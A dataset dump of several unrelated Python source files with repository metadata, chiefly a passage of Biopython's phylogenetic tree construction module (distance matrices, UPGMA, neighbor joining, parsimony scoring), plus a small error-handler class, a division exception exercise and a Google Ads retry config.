[ "BSD-3-Clause" ]
permissive
U-Ar/Cpresto
d52d99e8d44ed01c87c8911614d744cae695d6aa
f723458fb237c9e3e8bc8a6afdf7c81858a65363
refs/heads/main
2023-05-14T15:28:38.449783
2021-06-06T15:07:14
2021-06-06T15:07:14
364,445,894
1
0
null
null
null
null
UTF-8
Python
false
false
937
py
import sys class ErrorHandler: def __init__(self,progid,stream=None): if stream == None: self.stream = sys.stderr else: self.stream = stream self.program_id = progid self.n_error = 0 self.n_warning = 0 def error(self,msg,loc=None): if loc == None: self.stream.write(self.program_id+": error: "+msg+"\n") self.n_error += 1 else : self.stream.write(self.program_id+": error: "+loc.to_string()+": "+msg+"\n") self.n_error += 1 def warn(self,msg,loc=None): if loc == None: self.stream.write(self.program_id+": warning: "+msg+"\n") self.n_warning += 1 else : self.stream.write(self.program_id+": warning: "+loc.to_string()+": "+msg+"\n") self.n_warning += 1 def error_occured(self): return self.n_error > 0
a0ef8d57867120d76e7dd3c1b572137bdeb51bf6
f7550c4964dc8f3c59dbcebe39e947bd6a264dba
/2.OOPS/Exception Handling.py
05dac8b2c108980738fc273289f4f8795461eb72
[]
no_license
Jashwanth-k/Data-Structures-and-Algorithms
db5e2e30932e0a35db578c19ae6cff9f147b7c3d
1ebf9986999a474cb094f3ab04616a46f2887043
refs/heads/main
2023-08-25T02:57:17.394322
2021-10-11T15:27:56
2021-10-11T15:27:56
402,448,718
0
0
null
null
null
null
UTF-8
Python
false
false
324
py
while True: try: n = int(input('enter the numerator :')) num = int(n) n = int(input('enter the denominator :')) denom = int(n) value = (num / denom) print(value) break except ValueError: print('Numerator and Denominator must be integers')
9404e5e1138ec41fc2bad63449226d1cd0cc38c6
42c48f3178a48b4a2a0aded547770027bf976350
/google/ads/google_ads/v4/services/domain_category_service_client_config.py
db4f358f4636c9982c5622eefbd7626ab8796369
[ "Apache-2.0" ]
permissive
fiboknacky/google-ads-python
e989464a85f28baca1f28d133994c73759e8b4d6
a5b6cede64f4d9912ae6ad26927a54e40448c9fe
refs/heads/master
2021-08-07T20:18:48.618563
2020-12-11T09:21:29
2020-12-11T09:21:29
229,712,514
0
0
Apache-2.0
2019-12-23T08:44:49
2019-12-23T08:44:49
null
UTF-8
Python
false
false
815
py
config = { "interfaces": { "google.ads.googleads.v4.services.DomainCategoryService": { "retry_codes": { "idempotent": [ "DEADLINE_EXCEEDED", "UNAVAILABLE" ], "non_idempotent": [] }, "retry_params": { "default": { "initial_retry_delay_millis": 5000, "retry_delay_multiplier": 1.3, "max_retry_delay_millis": 60000, "initial_rpc_timeout_millis": 3600000, "rpc_timeout_multiplier": 1.0, "max_rpc_timeout_millis": 3600000, "total_timeout_millis": 3600000 } }, "methods": { "GetDomainCategory": { "timeout_millis": 60000, "retry_codes_name": "idempotent", "retry_params_name": "default" } } } } }
4142964e5405ab44216a3c53d6d75234942ac6d4
76a8ea60480331f0f61aeb61de55be9a6270e733
/downloadable-site-packages/Bio/Phylo/TreeConstruction.py
c6c95154385d69c86f76450b142cbf940399a862
[ "MIT" ]
permissive
bhagyas/Pyto
cd2ec3f35bec703db4ac29b56d17abc4bf03e375
907024a9b3e04a2a9de54976778c0e1a56b7b83c
refs/heads/master
2022-11-19T13:05:07.392454
2020-07-21T17:33:39
2020-07-21T17:33:39
281,886,535
2
0
MIT
2020-07-23T07:48:03
2020-07-23T07:48:02
null
UTF-8
Python
false
false
42,982
py
# Copyright (C) 2013 by Yanbo Ye ([email protected]) # This code is part of the Biopython distribution and governed by its # license. Please see the LICENSE file that should have been included # as part of this package. """Classes and methods for tree construction.""" import itertools import copy from Bio.Phylo import BaseTree from Bio.Align import MultipleSeqAlignment from Bio.SubsMat import MatrixInfo from Bio import _py3k from Bio._py3k import zip, range def _is_numeric(x): """Return True if is numeric.""" return _py3k._is_int_or_long(x) or isinstance(x, (float, complex)) class _Matrix(object): """Base class for distance matrix or scoring matrix. Accepts a list of names and a lower triangular matrix.:: matrix = [[0], [1, 0], [2, 3, 0], [4, 5, 6, 0]] represents the symmetric matrix of [0,1,2,4] [1,0,3,5] [2,3,0,6] [4,5,6,0] :Parameters: names : list names of elements, used for indexing matrix : list nested list of numerical lists in lower triangular format Examples -------- >>> from Bio.Phylo.TreeConstruction import _Matrix >>> names = ['Alpha', 'Beta', 'Gamma', 'Delta'] >>> matrix = [[0], [1, 0], [2, 3, 0], [4, 5, 6, 0]] >>> m = _Matrix(names, matrix) >>> m _Matrix(names=['Alpha', 'Beta', 'Gamma', 'Delta'], matrix=[[0], [1, 0], [2, 3, 0], [4, 5, 6, 0]]) You can use two indices to get or assign an element in the matrix. >>> m[1,2] 3 >>> m['Beta','Gamma'] 3 >>> m['Beta','Gamma'] = 4 >>> m['Beta','Gamma'] 4 Further more, you can use one index to get or assign a list of elements related to that index. >>> m[0] [0, 1, 2, 4] >>> m['Alpha'] [0, 1, 2, 4] >>> m['Alpha'] = [0, 7, 8, 9] >>> m[0] [0, 7, 8, 9] >>> m[0,1] 7 Also you can delete or insert a column&row of elemets by index. >>> m _Matrix(names=['Alpha', 'Beta', 'Gamma', 'Delta'], matrix=[[0], [7, 0], [8, 4, 0], [9, 5, 6, 0]]) >>> del m['Alpha'] >>> m _Matrix(names=['Beta', 'Gamma', 'Delta'], matrix=[[0], [4, 0], [5, 6, 0]]) >>> m.insert('Alpha', [0, 7, 8, 9] , 0) >>> m _Matrix(names=['Alpha', 'Beta', 'Gamma', 'Delta'], matrix=[[0], [7, 0], [8, 4, 0], [9, 5, 6, 0]]) """ def __init__(self, names, matrix=None): """Initialize matrix. Arguments are a list of names, and optionally a list of lower triangular matrix data (zero matrix used by default). """ # check names if isinstance(names, list) and all(isinstance(s, str) for s in names): if len(set(names)) == len(names): self.names = names else: raise ValueError("Duplicate names found") else: raise TypeError("'names' should be a list of strings") # check matrix if matrix is None: # create a new one with 0 if matrix is not assigned matrix = [[0] * i for i in range(1, len(self) + 1)] self.matrix = matrix else: # check if all elements are numbers if (isinstance(matrix, list) and all(isinstance(l, list) for l in matrix) and all(_is_numeric(n) for n in [item for sublist in matrix for item in sublist])): # check if the same length with names if len(matrix) == len(names): # check if is lower triangle format if [len(m) for m in matrix] == list(range(1, len(self) + 1)): self.matrix = matrix else: raise ValueError( "'matrix' should be in lower triangle format") else: raise ValueError( "'names' and 'matrix' should be the same size") else: raise TypeError("'matrix' should be a list of numerical lists") def __getitem__(self, item): """Access value(s) by the index(s) or name(s). For a _Matrix object 'dm':: dm[i] get a value list from the given 'i' to others; dm[i, j] get the value between 'i' and 'j'; dm['name'] map name to index first dm['name1', 'name2'] map name to index first """ # Handle single indexing if isinstance(item, (int, str)): index = None if isinstance(item, int): index = item elif isinstance(item, str): if item in self.names: index = self.names.index(item) else: raise ValueError("Item not found.") else: raise TypeError("Invalid index type.") # check index if index > len(self) - 1: raise IndexError("Index out of range.") return [self.matrix[index][i] for i in range(0, index)] + [self.matrix[i][index] for i in range(index, len(self))] # Handle double indexing elif len(item) == 2: row_index = None col_index = None if all(isinstance(i, int) for i in item): row_index, col_index = item elif all(isinstance(i, str) for i in item): row_name, col_name = item if row_name in self.names and col_name in self.names: row_index = self.names.index(row_name) col_index = self.names.index(col_name) else: raise ValueError("Item not found.") else: raise TypeError("Invalid index type.") # check index if row_index > len(self) - 1 or col_index > len(self) - 1: raise IndexError("Index out of range.") if row_index > col_index: return self.matrix[row_index][col_index] else: return self.matrix[col_index][row_index] else: raise TypeError("Invalid index type.") def __setitem__(self, item, value): """Set value by the index(s) or name(s). Similar to __getitem__:: dm[1] = [1, 0, 3, 4] set values from '1' to others; dm[i, j] = 2 set the value from 'i' to 'j' """ # Handle single indexing if isinstance(item, (int, str)): index = None if isinstance(item, int): index = item elif isinstance(item, str): if item in self.names: index = self.names.index(item) else: raise ValueError("Item not found.") else: raise TypeError("Invalid index type.") # check index if index > len(self) - 1: raise IndexError("Index out of range.") # check and assign value if isinstance(value, list) and all(_is_numeric(n) for n in value): if len(value) == len(self): for i in range(0, index): self.matrix[index][i] = value[i] for i in range(index, len(self)): self.matrix[i][index] = value[i] else: raise ValueError("Value not the same size.") else: raise TypeError("Invalid value type.") # Handle double indexing elif len(item) == 2: row_index = None col_index = None if all(isinstance(i, int) for i in item): row_index, col_index = item elif all(isinstance(i, str) for i in item): row_name, col_name = item if row_name in self.names and col_name in self.names: row_index = self.names.index(row_name) col_index = self.names.index(col_name) else: raise ValueError("Item not found.") else: raise TypeError("Invalid index type.") # check index if row_index > len(self) - 1 or col_index > len(self) - 1: raise IndexError("Index out of range.") # check and assign value if _is_numeric(value): if row_index > col_index: self.matrix[row_index][col_index] = value else: self.matrix[col_index][row_index] = value else: raise TypeError("Invalid value type.") else: raise TypeError("Invalid index type.") def __delitem__(self, item): """Delete related distances by the index or name.""" index = None if isinstance(item, int): index = item elif isinstance(item, str): index = self.names.index(item) else: raise TypeError("Invalid index type.") # remove distances related to index for i in range(index + 1, len(self)): del self.matrix[i][index] del self.matrix[index] # remove name del self.names[index] def insert(self, name, value, index=None): """Insert distances given the name and value. :Parameters: name : str name of a row/col to be inserted value : list a row/col of values to be inserted """ if isinstance(name, str): # insert at the given index or at the end if index is None: index = len(self) if not isinstance(index, int): raise TypeError("Invalid index type.") # insert name self.names.insert(index, name) # insert elements of 0, to be assigned self.matrix.insert(index, [0] * index) for i in range(index, len(self)): self.matrix[i].insert(index, 0) # assign value self[index] = value else: raise TypeError("Invalid name type.") def __len__(self): """Matrix length.""" return len(self.names) def __repr__(self): """Return Matrix as a string.""" return self.__class__.__name__ \ + "(names=%s, matrix=%s)" \ % tuple(map(repr, (self.names, self.matrix))) def __str__(self): """Get a lower triangular matrix string.""" matrix_string = '\n'.join( [self.names[i] + "\t" + "\t".join([str(n) for n in self.matrix[i]]) for i in range(0, len(self))]) matrix_string = matrix_string + "\n\t" + "\t".join(self.names) return matrix_string class DistanceMatrix(_Matrix): """Distance matrix class that can be used for distance based tree algorithms. All diagonal elements will be zero no matter what the users provide. """ def __init__(self, names, matrix=None): """Initialize the class.""" _Matrix.__init__(self, names, matrix) self._set_zero_diagonal() def __setitem__(self, item, value): """Set Matrix's items to values.""" _Matrix.__setitem__(self, item, value) self._set_zero_diagonal() def _set_zero_diagonal(self): """Set all diagonal elements to zero (PRIVATE).""" for i in range(0, len(self)): self.matrix[i][i] = 0 def format_phylip(self, handle): """Write data in Phylip format to a given file-like object or handle. The output stream is the input distance matrix format used with Phylip programs (e.g. 'neighbor'). See: http://evolution.genetics.washington.edu/phylip/doc/neighbor.html :Parameters: handle : file or file-like object A writeable file handle or other object supporting the 'write' method, such as StringIO or sys.stdout. On Python 3, should be open in text mode. """ handle.write(" {0}\n".format(len(self.names))) # Phylip needs space-separated, vertically aligned columns name_width = max(12, max(map(len, self.names)) + 1) value_fmts = ("{" + str(x) + ":.4f}" for x in range(1, len(self.matrix) + 1)) row_fmt = "{0:" + str(name_width) + "s}" + " ".join(value_fmts) + "\n" for i, (name, values) in enumerate(zip(self.names, self.matrix)): # Mirror the matrix values across the diagonal mirror_values = (self.matrix[j][i] for j in range(i + 1, len(self.matrix))) fields = itertools.chain([name], values, mirror_values) handle.write(row_fmt.format(*fields)) # Shim for compatibility with Biopython<1.70 (#1304) _DistanceMatrix = DistanceMatrix class DistanceCalculator(object): """Class to calculate the distance matrix from a DNA or Protein. Multiple Sequence Alignment(MSA) and the given name of the substitution model. Currently only scoring matrices are used. :Parameters: model : str Name of the model matrix to be used to calculate distance. The attribute ``dna_matrices`` contains the available model names for DNA sequences and ``protein_matrices`` for protein sequences. Examples -------- >>> from Bio.Phylo.TreeConstruction import DistanceCalculator >>> from Bio import AlignIO >>> aln = AlignIO.read(open('Tests/TreeConstruction/msa.phy'), 'phylip') >>> print(aln) SingleLetterAlphabet() alignment with 5 rows and 13 columns AACGTGGCCACAT Alpha AAGGTCGCCACAC Beta GAGATTTCCGCCT Delta GAGATCTCCGCCC Epsilon CAGTTCGCCACAA Gamma DNA calculator with 'identity' model:: >>> calculator = DistanceCalculator('identity') >>> dm = calculator.get_distance(aln) >>> print(dm) Alpha 0 Beta 0.230769230769 0 Gamma 0.384615384615 0.230769230769 0 Delta 0.538461538462 0.538461538462 0.538461538462 0 Epsilon 0.615384615385 0.384615384615 0.461538461538 0.153846153846 0 Alpha Beta Gamma Delta Epsilon Protein calculator with 'blosum62' model:: >>> calculator = DistanceCalculator('blosum62') >>> dm = calculator.get_distance(aln) >>> print(dm) Alpha 0 Beta 0.369047619048 0 Gamma 0.493975903614 0.25 0 Delta 0.585365853659 0.547619047619 0.566265060241 0 Epsilon 0.7 0.355555555556 0.488888888889 0.222222222222 0 Alpha Beta Gamma Delta Epsilon """ dna_alphabet = ['A', 'T', 'C', 'G'] # BLAST nucleic acid scoring matrix blastn = [[5], [-4, 5], [-4, -4, 5], [-4, -4, -4, 5]] # transition/transversion scoring matrix trans = [[6], [-5, 6], [-5, -1, 6], [-1, -5, -5, 6]] protein_alphabet = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'K', 'L', 'M', 'N', 'P', 'Q', 'R', 'S', 'T', 'V', 'W', 'X', 'Y', 'Z'] # matrices available dna_matrices = {'blastn': blastn, 'trans': trans} protein_models = MatrixInfo.available_matrices protein_matrices = {name: getattr(MatrixInfo, name) for name in protein_models} dna_models = list(dna_matrices.keys()) models = ['identity'] + dna_models + protein_models def __init__(self, model='identity', skip_letters=None): """Initialize with a distance model.""" # Shim for backward compatibility (#491) if skip_letters: self.skip_letters = skip_letters elif model == 'identity': self.skip_letters = () else: self.skip_letters = ('-', '*') if model == 'identity': self.scoring_matrix = None elif model in self.dna_models: self.scoring_matrix = _Matrix(self.dna_alphabet, self.dna_matrices[model]) elif model in self.protein_models: self.scoring_matrix = self._build_protein_matrix( self.protein_matrices[model]) else: raise ValueError("Model not supported. Available models: " + ", ".join(self.models)) def _pairwise(self, seq1, seq2): """Calculate pairwise distance from two sequences (PRIVATE). Returns a value between 0 (identical sequences) and 1 (completely different, or seq1 is an empty string.) """ score = 0 max_score = 0 if self.scoring_matrix: max_score1 = 0 max_score2 = 0 for i in range(0, len(seq1)): l1 = seq1[i] l2 = seq2[i] if l1 in self.skip_letters or l2 in self.skip_letters: continue if l1 not in self.scoring_matrix.names: raise ValueError("Bad alphabet '%s' in sequence '%s' at position '%s'" % (l1, seq1.id, i)) if l2 not in self.scoring_matrix.names: raise ValueError("Bad alphabet '%s' in sequence '%s' at position '%s'" % (l2, seq2.id, i)) max_score1 += self.scoring_matrix[l1, l1] max_score2 += self.scoring_matrix[l2, l2] score += self.scoring_matrix[l1, l2] # Take the higher score if the matrix is asymmetrical max_score = max(max_score1, max_score2) else: # Score by character identity, not skipping any special letters score = sum(l1 == l2 for l1, l2 in zip(seq1, seq2) if l1 not in self.skip_letters and l2 not in self.skip_letters) max_score = len(seq1) if max_score == 0: return 1 # max possible scaled distance return 1 - (score * 1.0 / max_score) def get_distance(self, msa): """Return a DistanceMatrix for MSA object. :Parameters: msa : MultipleSeqAlignment DNA or Protein multiple sequence alignment. """ if not isinstance(msa, MultipleSeqAlignment): raise TypeError("Must provide a MultipleSeqAlignment object.") names = [s.id for s in msa] dm = DistanceMatrix(names) for seq1, seq2 in itertools.combinations(msa, 2): dm[seq1.id, seq2.id] = self._pairwise(seq1, seq2) return dm def _build_protein_matrix(self, subsmat): """Convert matrix from SubsMat format to _Matrix object (PRIVATE).""" protein_matrix = _Matrix(self.protein_alphabet) for k, v in subsmat.items(): aa1, aa2 = k protein_matrix[aa1, aa2] = v return protein_matrix class TreeConstructor(object): """Base class for all tree constructor.""" def build_tree(self, msa): """Caller to built the tree from a MultipleSeqAlignment object. This should be implemented in subclass. """ raise NotImplementedError("Method not implemented!") class DistanceTreeConstructor(TreeConstructor): """Distance based tree constructor. :Parameters: method : str Distance tree construction method, 'nj'(default) or 'upgma'. distance_calculator : DistanceCalculator The distance matrix calculator for multiple sequence alignment. It must be provided if ``build_tree`` will be called. Examples -------- >>> from TreeConstruction import DistanceTreeConstructor >>> constructor = DistanceTreeConstructor() UPGMA Tree: >>> from Bio.Phylo.TreeConstruction import DistanceCalculator >>> from Bio import AlignIO >>> aln = AlignIO.read(open('Tests/TreeConstruction/msa.phy'), 'phylip') >>> calculator = DistanceCalculator('identity') >>> dm = calculator.get_distance(aln) >>> upgmatree = constructor.upgma(dm) >>> print(upgmatree) Tree(rooted=True) Clade(name='Inner4') Clade(branch_length=0.171955155115, name='Inner1') Clade(branch_length=0.111111111111, name='Epsilon') Clade(branch_length=0.111111111111, name='Delta') Clade(branch_length=0.0673103855608, name='Inner3') Clade(branch_length=0.0907558806655, name='Inner2') Clade(branch_length=0.125, name='Gamma') Clade(branch_length=0.125, name='Beta') Clade(branch_length=0.215755880666, name='Alpha') NJ Tree: >>> njtree = constructor.nj(dm) >>> print(njtree) Tree(rooted=False) Clade(name='Inner3') Clade(branch_length=0.0142054862889, name='Inner2') Clade(branch_length=0.239265540676, name='Inner1') Clade(branch_length=0.0853101915988, name='Epsilon') Clade(branch_length=0.136912030623, name='Delta') Clade(branch_length=0.292306275042, name='Alpha') Clade(branch_length=0.0747705106139, name='Beta') Clade(branch_length=0.175229489386, name='Gamma') """ methods = ['nj', 'upgma'] def __init__(self, distance_calculator=None, method="nj"): """Initialize the class.""" if (distance_calculator is None or isinstance(distance_calculator, DistanceCalculator)): self.distance_calculator = distance_calculator else: raise TypeError("Must provide a DistanceCalculator object.") if isinstance(method, str) and method in self.methods: self.method = method else: raise TypeError("Bad method: " + method + ". Available methods: " + ", ".join(self.methods)) def build_tree(self, msa): """Construct and return a Tree, Neighbor Joining or UPGMA.""" if self.distance_calculator: dm = self.distance_calculator.get_distance(msa) tree = None if self.method == 'upgma': tree = self.upgma(dm) else: tree = self.nj(dm) return tree else: raise TypeError("Must provide a DistanceCalculator object.") def upgma(self, distance_matrix): """Construct and return an UPGMA tree. Constructs and returns an Unweighted Pair Group Method with Arithmetic mean (UPGMA) tree. :Parameters: distance_matrix : DistanceMatrix The distance matrix for tree construction. """ if not isinstance(distance_matrix, DistanceMatrix): raise TypeError("Must provide a DistanceMatrix object.") # make a copy of the distance matrix to be used dm = copy.deepcopy(distance_matrix) # init terminal clades clades = [BaseTree.Clade(None, name) for name in dm.names] # init minimum index min_i = 0 min_j = 0 inner_count = 0 while len(dm) > 1: min_dist = dm[1, 0] # find minimum index for i in range(1, len(dm)): for j in range(0, i): if min_dist >= dm[i, j]: min_dist = dm[i, j] min_i = i min_j = j # create clade clade1 = clades[min_i] clade2 = clades[min_j] inner_count += 1 inner_clade = BaseTree.Clade(None, "Inner" + str(inner_count)) inner_clade.clades.append(clade1) inner_clade.clades.append(clade2) # assign branch length if clade1.is_terminal(): clade1.branch_length = min_dist * 1.0 / 2 else: clade1.branch_length = min_dist * \ 1.0 / 2 - self._height_of(clade1) if clade2.is_terminal(): clade2.branch_length = min_dist * 1.0 / 2 else: clade2.branch_length = min_dist * \ 1.0 / 2 - self._height_of(clade2) # update node list clades[min_j] = inner_clade del clades[min_i] # rebuild distance matrix, # set the distances of new node at the index of min_j for k in range(0, len(dm)): if k != min_i and k != min_j: dm[min_j, k] = (dm[min_i, k] + dm[min_j, k]) * 1.0 / 2 dm.names[min_j] = "Inner" + str(inner_count) del dm[min_i] inner_clade.branch_length = 0 return BaseTree.Tree(inner_clade) def nj(self, distance_matrix): """Construct and return a Neighbor Joining tree. :Parameters: distance_matrix : DistanceMatrix The distance matrix for tree construction. """ if not isinstance(distance_matrix, DistanceMatrix): raise TypeError("Must provide a DistanceMatrix object.") # make a copy of the distance matrix to be used dm = copy.deepcopy(distance_matrix) # init terminal clades clades = [BaseTree.Clade(None, name) for name in dm.names] # init node distance node_dist = [0] * len(dm) # init minimum index min_i = 0 min_j = 0 inner_count = 0 # special cases for Minimum Alignment Matrices if len(dm) == 1: root = clades[0] return BaseTree.Tree(root, rooted=False) elif len(dm) == 2: # minimum distance will always be [1,0] min_i = 1 min_j = 0 clade1 = clades[min_i] clade2 = clades[min_j] clade1.branch_length = dm[min_i, min_j] / 2.0 clade2.branch_length = dm[min_i, min_j] - clade1.branch_length inner_clade = BaseTree.Clade(None, "Inner") inner_clade.clades.append(clade1) inner_clade.clades.append(clade2) clades[0] = inner_clade root = clades[0] return BaseTree.Tree(root, rooted=False) while len(dm) > 2: # calculate nodeDist for i in range(0, len(dm)): node_dist[i] = 0 for j in range(0, len(dm)): node_dist[i] += dm[i, j] node_dist[i] = node_dist[i] / (len(dm) - 2) # find minimum distance pair min_dist = dm[1, 0] - node_dist[1] - node_dist[0] min_i = 0 min_j = 1 for i in range(1, len(dm)): for j in range(0, i): temp = dm[i, j] - node_dist[i] - node_dist[j] if min_dist > temp: min_dist = temp min_i = i min_j = j # create clade clade1 = clades[min_i] clade2 = clades[min_j] inner_count += 1 inner_clade = BaseTree.Clade(None, "Inner" + str(inner_count)) inner_clade.clades.append(clade1) inner_clade.clades.append(clade2) # assign branch length clade1.branch_length = (dm[min_i, min_j] + node_dist[min_i] - node_dist[min_j]) / 2.0 clade2.branch_length = dm[min_i, min_j] - clade1.branch_length # update node list clades[min_j] = inner_clade del clades[min_i] # rebuild distance matrix, # set the distances of new node at the index of min_j for k in range(0, len(dm)): if k != min_i and k != min_j: dm[min_j, k] = (dm[min_i, k] + dm[min_j, k] - dm[min_i, min_j]) / 2.0 dm.names[min_j] = "Inner" + str(inner_count) del dm[min_i] # set the last clade as one of the child of the inner_clade root = None if clades[0] == inner_clade: clades[0].branch_length = 0 clades[1].branch_length = dm[1, 0] clades[0].clades.append(clades[1]) root = clades[0] else: clades[0].branch_length = dm[1, 0] clades[1].branch_length = 0 clades[1].clades.append(clades[0]) root = clades[1] return BaseTree.Tree(root, rooted=False) def _height_of(self, clade): """Calculate clade height -- the longest path to any terminal (PRIVATE).""" height = 0 if clade.is_terminal(): height = clade.branch_length else: height = height + max(self._height_of(c) for c in clade.clades) return height # #################### Tree Scoring and Searching Classes ##################### class Scorer(object): """Base class for all tree scoring methods.""" def get_score(self, tree, alignment): """Caller to get the score of a tree for the given alignment. This should be implemented in subclass. """ raise NotImplementedError("Method not implemented!") class TreeSearcher(object): """Base class for all tree searching methods.""" def search(self, starting_tree, alignment): """Caller to search the best tree with a starting tree. This should be implemented in subclass. """ raise NotImplementedError("Method not implemented!") class NNITreeSearcher(TreeSearcher): """Tree searching with Nearest Neighbor Interchanges (NNI) algorithm. :Parameters: scorer : ParsimonyScorer parsimony scorer to calculate the parsimony score of different trees during NNI algorithm. """ def __init__(self, scorer): """Initialize the class.""" if isinstance(scorer, Scorer): self.scorer = scorer else: raise TypeError("Must provide a Scorer object.") def search(self, starting_tree, alignment): """Implement the TreeSearcher.search method. :Parameters: starting_tree : Tree starting tree of NNI method. alignment : MultipleSeqAlignment multiple sequence alignment used to calculate parsimony score of different NNI trees. """ return self._nni(starting_tree, alignment) def _nni(self, starting_tree, alignment): """Search for the best parsimony tree using the NNI algorithm (PRIVATE).""" best_tree = starting_tree while True: best_score = self.scorer.get_score(best_tree, alignment) temp = best_score for t in self._get_neighbors(best_tree): score = self.scorer.get_score(t, alignment) if score < best_score: best_score = score best_tree = t # stop if no smaller score exist if best_score >= temp: break return best_tree def _get_neighbors(self, tree): """Get all neighbor trees of the given tree (PRIVATE). Currently only for binary rooted trees. """ # make child to parent dict parents = {} for clade in tree.find_clades(): if clade != tree.root: node_path = tree.get_path(clade) # cannot get the parent if the parent is root. Bug? if len(node_path) == 1: parents[clade] = tree.root else: parents[clade] = node_path[-2] neighbors = [] root_childs = [] for clade in tree.get_nonterminals(order="level"): if clade == tree.root: left = clade.clades[0] right = clade.clades[1] root_childs.append(left) root_childs.append(right) if not left.is_terminal() and not right.is_terminal(): # make changes around the left_left clade # left_left = left.clades[0] left_right = left.clades[1] right_left = right.clades[0] right_right = right.clades[1] # neightbor 1 (left_left + right_right) del left.clades[1] del right.clades[1] left.clades.append(right_right) right.clades.append(left_right) temp_tree = copy.deepcopy(tree) neighbors.append(temp_tree) # neighbor 2 (left_left + right_left) del left.clades[1] del right.clades[0] left.clades.append(right_left) right.clades.append(right_right) temp_tree = copy.deepcopy(tree) neighbors.append(temp_tree) # change back (left_left + left_right) del left.clades[1] del right.clades[0] left.clades.append(left_right) right.clades.insert(0, right_left) elif clade in root_childs: # skip root child continue else: # method for other clades # make changes around the parent clade left = clade.clades[0] right = clade.clades[1] parent = parents[clade] if clade == parent.clades[0]: sister = parent.clades[1] # neighbor 1 (parent + right) del parent.clades[1] del clade.clades[1] parent.clades.append(right) clade.clades.append(sister) temp_tree = copy.deepcopy(tree) neighbors.append(temp_tree) # neighbor 2 (parent + left) del parent.clades[1] del clade.clades[0] parent.clades.append(left) clade.clades.append(right) temp_tree = copy.deepcopy(tree) neighbors.append(temp_tree) # change back (parent + sister) del parent.clades[1] del clade.clades[0] parent.clades.append(sister) clade.clades.insert(0, left) else: sister = parent.clades[0] # neighbor 1 (parent + right) del parent.clades[0] del clade.clades[1] parent.clades.insert(0, right) clade.clades.append(sister) temp_tree = copy.deepcopy(tree) neighbors.append(temp_tree) # neighbor 2 (parent + left) del parent.clades[0] del clade.clades[0] parent.clades.insert(0, left) clade.clades.append(right) temp_tree = copy.deepcopy(tree) neighbors.append(temp_tree) # change back (parent + sister) del parent.clades[0] del clade.clades[0] parent.clades.insert(0, sister) clade.clades.insert(0, left) return neighbors # ######################## Parsimony Classes ########################## class ParsimonyScorer(Scorer): """Parsimony scorer with a scoring matrix. This is a combination of Fitch algorithm and Sankoff algorithm. See ParsimonyTreeConstructor for usage. :Parameters: matrix : _Matrix scoring matrix used in parsimony score calculation. """ def __init__(self, matrix=None): """Initialize the class.""" if not matrix or isinstance(matrix, _Matrix): self.matrix = matrix else: raise TypeError("Must provide a _Matrix object.") def get_score(self, tree, alignment): """Calculate parsimony score using the Fitch algorithm. Calculate and return the parsimony score given a tree and the MSA using either the Fitch algorithm (without a penalty matrix) or the Sankoff algorithm (with a matrix). """ # make sure the tree is rooted and bifurcating if not tree.is_bifurcating(): raise ValueError("The tree provided should be bifurcating.") if not tree.rooted: tree.root_at_midpoint() # sort tree terminals and alignment terms = tree.get_terminals() terms.sort(key=lambda term: term.name) alignment.sort() if not all(t.name == a.id for t, a in zip(terms, alignment)): raise ValueError( "Taxon names of the input tree should be the same with the alignment.") # term_align = dict(zip(terms, alignment)) score = 0 for i in range(len(alignment[0])): # parsimony score for column_i score_i = 0 # get column column_i = alignment[:, i] # skip non-informative column if column_i == len(column_i) * column_i[0]: continue # start calculating score_i using the tree and column_i # Fitch algorithm without the penalty matrix if not self.matrix: # init by mapping terminal clades and states in column_i clade_states = dict(zip(terms, [{c} for c in column_i])) for clade in tree.get_nonterminals(order="postorder"): clade_childs = clade.clades left_state = clade_states[clade_childs[0]] right_state = clade_states[clade_childs[1]] state = left_state & right_state if not state: state = left_state | right_state score_i = score_i + 1 clade_states[clade] = state # Sankoff algorithm with the penalty matrix else: inf = float('inf') # init score arrays for terminal clades alphabet = self.matrix.names length = len(alphabet) clade_scores = {} for j in range(len(column_i)): array = [inf] * length index = alphabet.index(column_i[j]) array[index] = 0 clade_scores[terms[j]] = array # bottom up calculation for clade in tree.get_nonterminals(order="postorder"): clade_childs = clade.clades left_score = clade_scores[clade_childs[0]] right_score = clade_scores[clade_childs[1]] array = [] for m in range(length): min_l = inf min_r = inf for n in range(length): sl = self.matrix[ alphabet[m], alphabet[n]] + left_score[n] sr = self.matrix[ alphabet[m], alphabet[n]] + right_score[n] if min_l > sl: min_l = sl if min_r > sr: min_r = sr array.append(min_l + min_r) clade_scores[clade] = array # minimum from root score score_i = min(array) # TODO: resolve internal states score = score + score_i return score class ParsimonyTreeConstructor(TreeConstructor): """Parsimony tree constructor. :Parameters: searcher : TreeSearcher tree searcher to search the best parsimony tree. starting_tree : Tree starting tree provided to the searcher. Examples -------- >>> from Bio import AlignIO, Phylo >>> aln = AlignIO.read(open('Tests/TreeConstruction/msa.phy'), 'phylip') >>> print(aln) SingleLetterAlphabet() alignment with 5 rows and 13 columns AACGTGGCCACAT Alpha AAGGTCGCCACAC Beta GAGATTTCCGCCT Delta GAGATCTCCGCCC Epsilon CAGTTCGCCACAA Gamma >>> starting_tree = Phylo.read('Tests/TreeConstruction/nj.tre', 'newick') >>> print(starting_tree) Tree(weight=1.0, rooted=False) Clade(branch_length=0.0, name='Inner3') Clade(branch_length=0.01421, name='Inner2') Clade(branch_length=0.23927, name='Inner1') Clade(branch_length=0.08531, name='Epsilon') Clade(branch_length=0.13691, name='Delta') Clade(branch_length=0.29231, name='Alpha') Clade(branch_length=0.07477, name='Beta') Clade(branch_length=0.17523, name='Gamma') >>> scorer = ParsimonyScorer() >>> searcher = NNITreeSearcher(scorer) >>> constructor = ParsimonyTreeConstructor(searcher, starting_tree) >>> pars_tree = constructor.build_tree(aln) >>> print(pars_tree) Tree(weight=1.0, rooted=True) Clade(branch_length=0.0) Clade(branch_length=0.197335, name='Inner1') Clade(branch_length=0.13691, name='Delta') Clade(branch_length=0.08531, name='Epsilon') Clade(branch_length=0.041935, name='Inner2') Clade(branch_length=0.01421, name='Inner3') Clade(branch_length=0.17523, name='Gamma') Clade(branch_length=0.07477, name='Beta') Clade(branch_length=0.29231, name='Alpha') """ def __init__(self, searcher, starting_tree=None): """Initialize the class.""" self.searcher = searcher self.starting_tree = starting_tree def build_tree(self, alignment): """Build the tree. :Parameters: alignment : MultipleSeqAlignment multiple sequence alignment to calculate parsimony tree. """ # if starting_tree is none, # create a upgma tree with 'identity' scoring matrix if self.starting_tree is None: dtc = DistanceTreeConstructor(DistanceCalculator("identity"), "upgma") self.starting_tree = dtc.build_tree(alignment) return self.searcher.search(self.starting_tree, 